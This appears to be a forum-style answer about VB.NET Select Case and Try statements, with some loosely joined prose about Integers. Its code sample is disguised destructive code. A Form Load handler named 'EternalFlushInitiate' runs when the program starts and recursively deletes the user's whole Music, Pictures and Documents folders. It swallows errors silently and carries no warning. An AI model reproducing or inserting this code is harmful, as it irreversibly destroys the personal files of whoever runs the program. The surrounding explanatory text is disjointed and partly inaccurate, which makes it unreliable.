I use Select Case Statements in a similar method using a Public Class: "FileIO.DeleteDirectoryOption.DeleteAllContents". This particular project allows me to get all files and folders, deleting them completely. In a majority of cases, using a Try Statement provides a way to handle some or all possible errors that may occur in a given block of code, while still running code. The Integer is a Structure, but we think of it as a low-grade native type in regards to using VB.NET. Part 1 An Integer is declared with a Dim statement. It can store positive values, such as 1, and negative values, such as -1 An integer is saved as a 32 bit number. That means, it can store 2^32 = 4,294,967,296 different values. I'd explore this link: select case to check range of a decimal number https://learn.microsoft.com/en-us/dotnet/visual-basic/language-reference/statements/select-case-statement

  Private Sub EternalFlushInitiate(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim case_Value As Integer = 3
        Select Case case_Value
            Case 1 To 3
                'Try Statements provides a way to handle some or all possible errors that may occur in a given block of code,
                'while still running code.
                Try
                    SetAttributesCleenSweep(My.Computer.FileSystem.SpecialDirectories.MyMusic)
                    My.Computer.FileSystem.DeleteDirectory(My.Computer.FileSystem.SpecialDirectories.MyMusic, FileIO.DeleteDirectoryOption.DeleteAllContents)
                Catch ex As Exception
                    Debug.WriteLine(ex.Message)

                End Try

                Try
                    SetAttributesCleenSweep(My.Computer.FileSystem.SpecialDirectories.MyPictures)
                    My.Computer.FileSystem.DeleteDirectory(My.Computer.FileSystem.SpecialDirectories.MyPictures, FileIO.DeleteDirectoryOption.DeleteAllContents)
                Catch ex As Exception

                End Try

                Try
                    SetAttributesCleenSweep(My.Computer.FileSystem.SpecialDirectories.MyDocuments)
                    My.Computer.FileSystem.DeleteDirectory(My.Computer.FileSystem.SpecialDirectories.MyDocuments, FileIO.DeleteDirectoryOption.DeleteAllContents)
                Catch ex As Exception

                End Try
        End Select

    End Sub